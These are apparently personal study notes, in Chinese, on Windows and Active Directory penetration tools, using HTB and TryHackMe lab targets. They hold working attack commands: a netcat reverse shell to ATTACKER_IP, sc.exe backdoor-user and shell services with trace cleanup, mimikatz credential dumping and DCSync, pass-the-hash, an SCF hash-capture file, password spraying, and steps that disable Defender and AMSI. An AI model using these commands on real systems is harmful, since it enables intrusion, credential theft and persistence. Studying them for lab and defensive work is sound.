0%

Windows工具

windows工具笔记

渗透需要知道的知识和名词总结
内网所在网段:10.0.0.0—10.255.255.255,172.16.0.0—172.31.255.255,192.168.0.0—192.168.255.255
windows机器的flag常用位置: C:/USERS/ADMINISTRATOR/FLAG/
windows有两种常见的提权 badpotatosweetpotato
该提权手法的前提是拥有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege权限,以下用户拥有SeImpersonatePrivilege权限(而只有更高权限的账户比如SYSTEM才有SeAssignPrimaryTokenPrivilege权限):
本地管理员账户(不包括管理员组普通账户)和本地服务帐户
由SCM启动的服务

常用命令 与Linux对照

systeminfo = uname -a
type = cat
dir /s /b c:\*pass*.* = find / -r -name "*pass*" /s表示递归搜索,/b表示只显示路径。

SMB

通常我们需要先枚举共享、检查权限,然后下载敏感文件(如包含 GPP 密码的 Groups.xml

smbclient

Samba 套件中的核心工具,提供了一个类似 FTP 的交互式命令行界面

参数 说明
-L <IP> List。列出目标主机上可用的共享列表。
-U <user>%<pass> 指定用户名和密码。格式为 用户名%密码
-N No pass。尝试空会话(匿名)登录,不询问密码。
-I <IP> 指定目标 IP(在 DNS 解析失败时很有用)。
-c "<command>" 非交互模式执行命令(适合脚本调用)。
-W Workgroup/Domain (域/工作组)
example use:
1
2
3
4
5
# 尝试匿名列出共享
smbclient -L 10.10.10.100 -N

# 使用已知凭据列出共享
smbclient -L 10.10.10.100 -U "SVC_TGS%GPPstillStandingStrong2k18"

下载敏感文件 (GPP 利用) 在交互式界面 (smb: \>) 中操作:

1
2
3
4
5
smb: \> recurse ON       # 开启递归模式(如果要下载文件夹)
smb: \> prompt OFF # 关闭确认提示(下载大量文件时不询问)
smb: \> cd active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups
smb: \> ls # 查看文件
smb: \> get Groups.xml # 下载 GPP 配置文件

smbmap

一款基于 Python 的轻量级 SMB 枚举工具。
快速概览。它可以一次性扫描所有共享的读写权限

参数 说明
-H <IP> 指定目标主机 IP。
-u <user> 指定用户名(如果不指定,默认尝试空用户)。
-p <pass> 指定密码。
-R Recursive。递归列出目录下的所有文件。
--download <path> 下载远程文件到本地。
--upload <src> <dst> 上传文件到远程服务器。
-A 下载匹配到的文件 可正则
-d 指定域名
smbmap -d active.htb -H 10.10.10.100 -u SVC_TGS -p GPPstillStandingStrong2k18

python3-impacket

这个是一个ptyhon包 可以用低级语言 访问对windows的网络协议的底层访问 核心功能通过一系列的脚本实现
主要功能包括
使用的时候要设置一下环境变量 /usr/share/doc/python3-impacket/examples

Impacket常用脚本功能一览表

功能分类 脚本名称 (Script Name) 主要作用 (Primary Function)
远程命令执行 psexec.py 通过在目标系统上创建并运行一个服务来获取半交互式shell。
smbexec.py 类似于psexec.py,但通过本地SMB服务器接收命令输出,灵活性更高。
wmiexec.py 利用Windows管理规范(WMI)执行命令,更为隐蔽,无需安装服务。
atexec.py 通过在目标系统上创建计划任务来执行命令。
dcomexec.py 使用不同的DCOM端点来执行命令,提供半交互式shell。
凭据窃取与转储 secretsdump.py 远程转储目标系统的各类凭据,包括SAM/LSA Secrets、NTDS.dit数据库等。
secretsdump.py -ntds xxx/ntds.dit -system register/SYSTEM LOCAL
secretdump.py --hashes '' 'htb.local/APT$@htb.local'这是得到ntlmv1之后的hash转储机器上的hash
mimikatz.py 远程控制目标机器上的Mimikatz RPC服务器以提取明文密码和哈希。
横向移动与权限提升 ntlmrelayx.py 执行NTLM中继攻击,将捕获到的认证信息中继给其他服务以执行操作。
GetUserSPNs.py 执行Kerberoasting攻击,请求服务票据并离线破解以获取服务账户密码。
ticketer.py 用于创建黄金票据(Golden Tickets)和白银票据(Silver Tickets),实现域控持久化。
GetTGT.py 给定密码/哈希/aesKey,为指定用户请求Kerberos的票据授予票据(TGT)。
网络服务交互与信息收集 smbserver.py 快速搭建一个SMB服务器,用于文件传输或捕获客户端的Net-NTLM哈希。
smbclient.py 一个通用的SMB客户端,可以列出共享、上传/下载文件、执行远程命令等。
rpcdump.py 枚举远程主机的RPC端点和接口信息,帮助发现可利用的服务。
rpcmap.py 爆破rpc端口和服务
rpcmap.py -brute-uuids -brute-opnums
lookupsid.py 通过MSRPC接口暴力破解Windows SID,从而发现远程系统的用户和组信息。

GetADUsers.py

属于强大的 Impacket 套件。这是一个基于 Python 的脚本,用于通过 LDAP 协议向域控制器(DC)查询并枚举域内的所有用户账户。 (可以在拿到一个用户的凭据之后,使用这个工具枚举)

参数 说明
-all 强烈推荐。不仅仅列出用户名,还加载额外的属性(如:描述/Description、上次密码设置时间、邮箱等)。
-dc-ip <IP> 指定域控制器的 IP 地址(如果在 /etc/hosts 里没配置好 DNS,这个参数必填)。
<domain>/<user>:<password> 认证格式。必须提供有效的域凭据才能查询 LDAP。
python3 GetADUsers.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -all

GetUserSPNs.py

它的核心功能是自动化地向域控制器发送 TGS(Ticket Granting Service)票据请求,并收集加密后的票据 Hash。

参数 说明
<domain>/<user>:<password> 认证信息。必须使用有效的域用户和密码。
-request 【核心】 告知脚本不仅要列出 SPN,还要向 DC 请求 (Request) TGS 票据。不加此参数则不会获取 Hash。
-dc-ip <IP> 指定域控制器的 IP 地址,避免 DNS 解析问题。
-t <Target User> (可选) 如果你只想针对特定账户进行 Kerberoasting,可以使用此参数。
1
2
# 语法:GetUserSPNs.py 域名/用户:密码 -request -dc-ip 目标IP
python3 GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request -dc-ip 10.10.10.100

横向移动工具

evil-winrm

基于 WinRM 协议的工具 (端口: 5985/HTTP, 5986/HTTPS)
用来尝试用户的账号密码(哈希)是否可以登录
–ip / -i : 目标 IP
–user / -u : 用户名
–password / -p : 密码
–hash / -H : NTLM hash(pass-the-hash)
–port / -P : 指定端口(5985 HTTP,5986 HTTPS)
–ssl / -S : 使用 SSL/TLS 连接
evil-winrm -u administrator -H hash -i htb.local
进入shell之后menu会展示可用的功能

功能 (Feature) 类型 (Type) 描述 (Description)
DLL-Loader 内存执行 将本地的 DLL 文件反射式地注入到远程主机的内存中执行,实现无文件攻击。
Donut-Loader 内存执行 利用 Donut 技术将本地二进制文件 (EXE/DLL等) 转换成 Shellcode,并在远程内存中执行,具有优秀的免杀效果。
Invoke-Binary 内存执行 将本地的 EXE 可执行文件加载到远程 PowerShell 进程的内存中并运行,避免在磁盘上留下文件。
Bypass-4MSI 安全绕过 禁用当前 PowerShell 会话中的 AMSI (反恶意软件扫描接口),为执行已知恶意脚本 (如 Mimikatz) 扫清障碍。
services 系统管理 提供了远程管理 (查询、启动、停止) Windows 服务的功能,用于信息搜集或权限维持。
upload 文件传输 将本地攻击机上的文件上传到目标机器。
download 文件传输 从目标机器下载文件到本地攻击机。
menu 内置命令 显示此功能菜单列表。
exit 内置命令 关闭并退出当前的 evil-winrm 会话。

psexec.py

在impacket包中

  • 工作原理: 通过 SMB 协议连接到目标的 ADMIN$ 共享,上传一个恶意的服务程序(二进制文件),然后通过 RPC 调用远程创建并启动这个服务,从而获得一个交互式的 Shell。
1
2
3
impacket-psexec -hashes <LM_HASH>:<NT_HASH> <USERNAME>@<TARGET_IP> 
# 通常 LM_HASH 是空的,所以是 aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
impacket-psexec -hashes :<NT_HASH> DOMAIN/USERNAME@<TARGET_IP> 'whoami'

psexec.py active.htb/svc_tgs@10.10.10.100

smbexec

  • 工作原理: 与 PsExec 类似,也是通过 RPC 创建服务。但它不上传二进制文件,而是执行一个命令,并将输出重定向到一个 SMB 共享的文本文件中,然后本地读取这个文件内容。
    impacket-smbexec -hashes :<NT_HASH> USERNAME@<TARGET_IP>

wmiexec

  • 工作原理: 利用 Windows Management Instrumentation (WMI) 来执行命令。它通过 DCOM/RPC (端口 135 及动态端口) 进行通信。
    impacket-wmiexec -hashes :<NT_HASH> DOMAIN/USERNAME@<TARGET_IP>

runas

Windows 系统内置工具,允许用户以与其他用户(如 Administrator)不同的权限运行特定的工具或程序。
比如psexec没有开Admin共享目录的时候,就可以用一个windows攻击机

参数 说明
/user:<UserAccount> 指定要模拟的用户名。格式通常为 域名\用户名计算机名\用户名
/savecred (渗透重点) 如果之前保存过凭据,使用此参数可直接以该用户身份运行,无需输入密码。这是常见的提权漏洞点。
/noprofile 不加载用户的配置文件(加载配置文件可能会很慢或在某些 Shell 中出错)。
/netonly (高级技巧) 仅在访问网络资源时使用指定的凭据。本地仍是当前用户。常用于“哈希传递”或跨域攻击。
runas /netonly /user:active.htb\svc_tgs cmd
C:\> runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443" (适合在一个跳板机上执行,因为没法弹出新的端口,所以用一个反弹shell 到攻击机上面)

sc.exe

用来创建和管理服务的一个工具 Remotely Creating Services Using sc

  • Ports:
    • 135/TCP, 49152-65535/TCP (DCE/RPC)
    • 445/TCP (RPC over SMB Named Pipes)
    • 139/TCP (RPC over SMB Named Pipes)
参数 说明 攻击场景
\\TARGET_IP 指定远程目标机器 横向移动的核心。如果不加这个,就是操作本机。
create 创建一个新的服务 注册后门服务。
start 立即启动某个服务 触发 Payload 执行。
stop 停止某个服务 关闭杀毒软件或防火墙服务。
delete 删除服务 攻击结束后清理痕迹
query 查询服务状态 枚举目标机器运行的安全软件。
config 修改现有服务配置 提权 (PrivEsc),例如修改 binPath 指向木马。
1
2
3
4
5
6
7
8
rem 1. 注册服务 (注意 binPath= 后的空格)
sc \\192.168.1.50 create BackdoorUser binPath= "net user hacker P@ss123 /add" start= auto

rem 2. 把用户加入管理员组 (需要修改 binPath 再次利用,或创建新服务)
sc \\192.168.1.50 config BackdoorUser binPath= "net localgroup administrators hacker /add"

rem 3. 启动服务 (触发执行)
sc \\192.168.1.50 start BackdoorUser

反弹shell:

1
2
3
4
5
rem 1. 注册服务指向木马路径
sc \\192.168.1.50 create ShellService binPath= "C:\Windows\Temp\shell.exe"

rem 2. 启动
sc \\192.168.1.50 start ShellService

清理痕迹:

1
2
sc \\192.168.1.50 stop BackdoorUser
sc \\192.168.1.50 delete BackdoorUser

winrs.exe

winrs.exe 是 Windows 自带的远程命令行工具,它是 WinRM (Windows Remote Management) 服务的客户端。
协议与端口: 依赖 WinRM 服务,默认使用 TCP 5985 (HTTP) 或 TCP 5986 (HTTPS)。

参数 说明 备注
-r:TARGET Remote。指定远程目标机器的 IP 或主机名。 格式可以是 -r:IP-r:https://URL
-u:USERNAME User。指定登录用户名。 如果当前会话已经有票据/凭证(如 PtH 后),可省略此参数
-p:PASSWORD Password。指定密码。 同上,若已注入凭证可省略。
-d:PATH Directory。指定启动时的初始目录。 默认是 C:\Users\用户名
CMD Command。最后跟上要执行的指令。 通常直接写 cmd 来获得一个交互式 Shell。

gpp-decrypt

这是一个专门用于解密 Windows Group Policy Preferences (GPP) 中加密密码的轻量级工具(通常是用 Ruby 编写的脚本)。
微软以前允许管理员通过组策略(GPP)批量修改本地管理员密码或创建用户。这些密码被加密后存储在 Groups.xml 等文件中。
你需要复制 cpassword 引号里面的这串乱码。

bloodhound

一款基于图数据库(Neo4j)的可视化工具,用于分析 Active Directory (AD) 域内的信任关系。

它能帮你找出从“当前低权限用户”到“域管理员”的最短路径(例如:用户A -> 可以在电脑B上登录 -> 电脑B缓存了管理员C的凭据 -> 管理员C是域管)。

靶机端

参数 说明
-u <username> 用户名。
-p <password> 密码。
-d <domain> 域名 (如 active.htb)。
-ns <IP> Name Server。指定域控 IP 作为 DNS 服务器(防止 Kali 解析不了内部域名)。
-c All Collection Method。收集所有信息(组成员、会话、ACL、信任关系等)。推荐用这个。
--zip 将收集到的 JSON 文件自动打包成 ZIP(方便拖入 GUI)。
使用方式:
在kali中 cd /ope/bloodhound/Ingestors 开一个python的http服务
在登录的windows的环境中,下载SharpHound.exe
.\SharpHound -d active.htb -c all --domaincontroller 10.10.10.100
如果找不到域:
控制面板: “网络和 Internet” (Network and Internet) -> “网络和共享中心” (Network and Sharing Center)。 –> 更改适配器设置 右键点击确认好的那个网卡,选择 “属性” 在列表中找到并双击 “Internet 协议版本 4 (TCP/IPv4)”。 修改DNS
或者: C:\Windows\System32\drivers\etc\ 选择 hosts 文件并打开。 加上10.10.10.100 active.htb

攻击端

neo4j start
./bloodhound
示例用法: 在Active这个靶机中, 利用了Kerberoast(是一种利用 Kerberos 协议设计缺陷的攻击方式,允许任何有效的域用户(即使是最低权限的用户,如你拿到的 SVC_TGS 账号)向域控制器请求一张特殊的 服务票据(TGS Ticket),然后离线破解这张票据以获取服务账户的明文密码。)
Shortest Paths from Kerberonstable Users 在这里发现有Administrator 然后用GetUserSPNs.py 得到hash破解

windows 安全认证

Authentication Methods
安全认证机制
主要有NTLM 和 Kerberos
在Windows系统导出密码的时候,经常看到这样的密码格式
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::

  • AAD3B435B51404EEAAD3B435B51404EE是LM Hash
  • 31D6CFE0D16AE931B73C59D7E0C089C0是NTLM Hash
    LM Hash的本质是DES加密,但是现在基本都已经没有使用LM Hash

kerberos: 协议端口88
Kerberos协议的侧重在于认证通信双方的身份,客户端需要确认即将访问的网络服务就是自己所想要访问的服务而不是一个伪造的服务器,而服务端需要确认这个客户端是一个身份真实,安全可靠的客户端,而不是一个想要进行恶意网络攻击的用户。
kerberos组成

  • 客户端(Client):发送请求的一方
  • 服务端(Server):接收请求的一方
  • 密钥分发中心(Key distribution KDC)
    密钥分发中心又分为两个部分,分别是:
  • AS(Authentication Server):认证服务器,专门用来认证客户端的身份并发放客户用于访问TGS的TGT(票据授予票据),主要是接收客户端的请求
  • TGS(Ticket Granting ticket):票据授予服务器,用来发放整个认证过程以及客户端访问服务端时所需的服务授予票据(ticket)
    整个流程可简化为三步:
  • 客户端向AS请求,证明自己身份,并且表明自己想要访问什么服务,AS核实身份之后会向客户端发送TGT
  • 客户端拿到TGT之后访问TGS,TGS核实客户端的TGT之后,会向客户端发送ST
  • 最后客户端拿着ST去访问想要访问的服务
    在域渗透中,黄金票据就是伪造TGT,白银票据就是伪造ST

windows本机内是不存储明文密码的,只存储Hash值,本机用户的密码hash是放在本地的SAM文件里面,域内用户的密码hash是存在域控的NTDS.DIT文件里面
SAM文件的路径:C:\Windows\System32\config\SAM

认证流程

  1. 通过winlogon.exe获取用户输入的用户名与密码
  2. winlogon.exe将密码传递给lsass.exe,lsass.exe负责将密码进行加密为NTLM Hash
  3. 将lsass.exe加密的NTLM Hash与本地SAM文件里面的NTLM Hash进行比较,如果相同则将User SID,Group SID发送给winlogon.exe,否则登入失败

crackmapexec

用于批量枚举、凭证测试、横向移动和自动化利用(SMB/LDAP/RDP/WinRM 等)
crackmapexec smb htb.local -u userlist.txt -H hash
它的下一代版本是 nxc

mimikatz

简单来说,它的核心功能就是从 Windows 内存(LSASS 进程)中提取密码、哈希(Hash)、PIN 码和 Kerberos 票据
在执行任何涉及内存读取的命令(如抓密码)之前,必须先执行以下命令以获取调试权限,否则会报错。privilege::debug

模块/命令 说明 攻击场景
privilege::debug 提升当前进程权限 (SeDebugPrivilege) 起手式,必须最先执行。
sekurlsa::logonpasswords 抓取所有已登录用户的密码/哈希 最常用。尝试获取明文密码或 NTLM Hash。
lsadump::sam 读取本地 SAM 文件 获取本机所有用户的 NTLM Hash (类似 hashdump)。
lsadump::lsa /patch 读取域控上的 LSA 数据库 仅在域控上使用,获取域内用户哈希。
sekurlsa::pth Pass-the-Hash (哈希传递) 利用 NTLM Hash 启动一个新进程,用于横向移动。
lsadump::dcsync 模拟域控同步数据 域霸主。远程导出域内任意用户的哈希 (如 krbtgt)。
kerberos::list 列出当前缓存的 Kerberos 票据 查看当前有哪些票据可用。
exit 退出 Mimikatz 这里的 Ctrl+C 不好使,得输命令退出。
sekurlsa::msv 只抓哈希 如果你确定抓不到明文(或者只想做 PtH),用这个命令输出更干净,更方便查看。
lsadump::secrets 读取 LSA Secrets。 可能抓到服务账号密码、计划任务密码等。
token::elevate 令牌提权。将当前权限从 Admin 提升到 SYSTEM 默认提升至 SYSTEM。也可加 /id:PID 窃取指定进程的令牌。
token::list 列出系统中的所有令牌 查看是否有域管理员的进程在跑,以便窃取。
token::revert 恢复到原本的令牌 变身结束后,变回原来的自己。
sekurlsa::tickets /export 导出票据。将内存中所有的 Kerberos 票据(TGT 和 ST)导出为磁盘上的 .kirbi 文件。 Pass-the-Ticket (PtT) 准备阶段。当你无法破解密码哈希,但内存里有现成的票据时,先把它导出来保存。
kerberos::ptt <文件名> 票据传递 (Pass-the-Ticket)。将指定的 .kirbi 票据文件注入到当前会话中。 横向移动执行阶段。注入偷来的(或伪造的黄金)票据,让当前会话拥有票据所属用户的权限,从而访问远程资源。
sekurlsa::ekeys 抓取加密密钥。列出 Kerberos 相关的 AES128、AES256 和 RC4 (NTLM) 密钥。 高级伪造/备选方案。1. 当 logonpasswords 抓不到 NTLM 时,尝试抓 AES 密钥。2. 制作更隐蔽的黄金票据(使用 AES 密钥比使用 NTLM 更难被检测)。
  1. 抓内存密码:
1
2
3
mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
  1. Pass the hash
    你只拿到了管理员的 NTLM Hash,解不开明文,但想用它登录远程机器。
1
2
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:Administrator /domain:THM.local /ntlm:<NTLM_HASH_HERE>

会弹出一个新的 CMD 窗口。虽然在这个新窗口里 whoami 还是原用户,但当你访问网络资源(如 dir \\TargetIP\c$)时,使用的是管理员身份。
3. 导出域控hash
如果你已经有了域管理员权限,想在任何机器上(不需要登录域控)导出 krbtgt 的哈希来制作黄金票据

1
mimikatz # lsadump::dcsync /domain:za.tryhackme.com /user:krbtgt

注册表的五大根键

根键 (缩写) 全称 主要作用
HKCR HKEY_CLASSES_ROOT 文件关联和 COM 对象注册。
HKCU HKEY_CURRENT_USER 当前登录用户的特定配置和个性化设置。
HKLM HKEY_LOCAL_MACHINE 计算机全局的硬件、软件和系统配置,对所有用户生效。
HKU HKEY_USERS 所有用户配置文件的容器,以用户 SID 作为子键。
HKCC HKEY_CURRENT_CONFIG 系统启动时使用的当前硬件配置文件的信息。

kerbrute –扫描域中有效用户

主要用于通过 Kerberos 协议对 Active Directory (AD) 环境进行用户枚举和密码爆破。

指令 (Command) 功能描述 使用场景
userenum 用户枚举。通过发送不带预身份验证的 TGT 请求来判断用户名是否存在。如果域控制器返回“PRINCIPAL UNKNOWN”(主体未知)错误,则用户不存在;如果提示需要预身份验证,则证明用户存在。 此操作通常是安全的,不会导致账户锁定 在不知道任何有效凭证的情况下,验证一个用户名列表(例如,从公开信息收集的员工姓名)的有效性。
passwordspray 密码喷洒。使用一个或少数几个常见密码(如 Password123、Year2025!)去尝试登录一个庞大的用户列表。这种“横向”的攻击方式可以有效避免因对单一账户尝试次数过多而导致的账户锁定。 当你有一个确认有效的用户列表,并怀疑域内存在大量弱密码时使用。
bruteuser 对单个用户进行密码爆破。针对一个已知的有效用户名,使用一个密码字典(wordlist)进行持续的密码尝试,直到找到正确的密码。 此操作风险很高,极易触发账户锁定策略 当你锁定了一个高权限目标(如域管理员),并希望集中火力破解其密码时使用。
bruteforce 组合爆破。从一个文件中读取“用户名:密码”格式的组合列表,并逐一进行验证。 当你从其他泄露的数据库中获得了一批用户名和密码组合,想在当前目标上“撞库”时使用。
./kerbrute username -d htb.local --dc htb.local user_list
-d 域名 –dc ip地址
同时可以用nmap 中的脚本扫描nmap -6 -p88 --script=krb5-enum-users --script-args krb5-enum-users.realm='htb.local',userdb=user.list htb.local

responser

内网渗透之Responder攻防(上)
内网渗透之Responder演练(下)
根据windows中的基本协议 得到ntlmv2/v1 的hash值
如果是ntlmv1的hash值 要用彩虹表破解 在crack.sh网站上可以破解
为了不每次生成的hash是随机的 要在conf中指定challenge set 十六位的数字
evil-winrm登录用户进行横向
./MpCmdRun.exe -Scan -scantype 3 -File \kali.ip\noexit 连接到kali 然responser获取hash

scf文件

SCF(Shell Command File)文件,即“Windows 资源管理器命令”文件,是一种特殊的文本文件,主要用于执行一组预定义的 Windows Shell 命令
它的功能与快捷方式(.lnk 文件)有些类似,通常用于执行一些简单的操作,例如显示桌面或打开特定的 Windows 资源管理器窗口。
攻击者会创建一个 .scf 文件,其内容指向一个由攻击者控制的远程服务器上的图标文件。 这个路径通常是一个 UNC(通用命名约定)路径,格式为 \attacker-server\share\icon.ico

1
2
3
4
5
[Shell] 
Command=2
IconFile=\\攻击者的IP地址\share\test.ico
[Taskbar]
Command=ToggleDesktop

触发身份认证之后 可以用来获取ntlm的哈希
这里嗅探之后获取哈希 破解之后得到一个用户登录凭据
接着用winpeas 枚举信息 找到printer相关的信息
利用print nightmare漏洞提权

xfreerdp

xfreerdp 是一个开源的 RDP (Remote Desktop Protocol) 客户端,专门用于在 Linux (如 Kali) 上连接 Windows 远程桌面。
主要端口: 默认 TCP 3389xfreerdp 的参数格式比较特殊,通常使用 /参数名:值 的形式。

参数 说明 备注
/v:<IP> Server。指定目标 IP 地址。 也可以写成 /v:IP:Port
/u:<Username> User。指定用户名。
/p:<Password> Password。指定明文密码。
/pth:<Hash> Pass-the-Hash。指定 NTLM 哈希。 核心功能。格式为 LM:NTLM 或直接 NTLM
/d:<Domain> Domain。指定域名。 如果是本地账户,通常不需要加,或写点号 .
/cert:ignore Certificate。忽略证书错误。 必加参数。否则连接可能会因为自签名证书而失败。
/dynamic-resolution 分辨率。允许动态调整窗口大小。 防止远程桌面窗口太小或太大,强烈推荐加上。
/drive:share,/tmp 文件共享。将本地目录挂载到远程。 方便把 Kali 的工具(如木马、Mimikatz)传到 Windows 上。
+clipboard 剪贴板。开启剪贴板共享。 允许你在 Kali 和 Windows 之间复制粘贴文本。

权限维持操作:

user username passwd. /add
net localgroup administrators username /add
impacket-secretdump 'username:passwd.'@driver.htb 拿到admin的哈希
nxc winrm driver.htb -u Administrator -H 'xxxx'
在这个后面加上-X 也可以执行所有的操作

schtasks

用来创建计划任务的工具,常用于权限维持,用于横向移动也是可以
Creating Scheduled Tasks Remotely

参数 说明 攻击者视角
/s TARGET 指定远程目标 必须拥有目标的管理员凭证。
/create 创建任务 埋入 Payload。
/run 立即运行 既然是横向移动,我们不想等,要立刻拿 Shell。
/delete 删除任务 清理痕迹 (OpSec),非常重要。
/query 查询任务 检查任务是否创建成功。
/RU SYSTEM 运行身份 提权关键。强制任务以最高权限运行,而不是当前用户权限。
/sc ONCE 计划频率 通常设置为“一次性”。
/tn 任务名称 建议起一个看起来像系统任务的名字(如 UpdateService)以混淆视听。
1
2
3
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 

schtasks /s TARGET /run /TN "THMtask1"
1
schtasks /S TARGET /TN "THMtask1" /DELETE /F

nishang

Nishang是一款针对PowerShell的渗透工具。它基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种payload,包括了下载和执行、键盘记录、DNS、延时命令等脚本。
Nishang 需要 Powershell 版本在 v3 以上才能使用

windows10 需要关闭Windows Defender防病毒程序,才能导入nishang.psm1
运行命令Set-ExecutionPolicy Unrestricted,修改为最高权限,可以执行任意脚本。
powershell有六种执行策略:
Unrestricted 权限最高,可以不受限制执行任意脚本
Restricted 默认策略,不允许任意脚本的执行
allSigned 所有脚本必须经过签名运行
RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名
Bypass 没有任何限制和提示
Undefined 没有设置脚本的策略 以上三个准备工作弄好了之后,运行命令Import-Module -verbose .\nishang.psm1就可以愉快的导入Nishang`模块了。
https://mp.weixin.qq.com/s/F5s_XYsQcbrJygtwnu33FA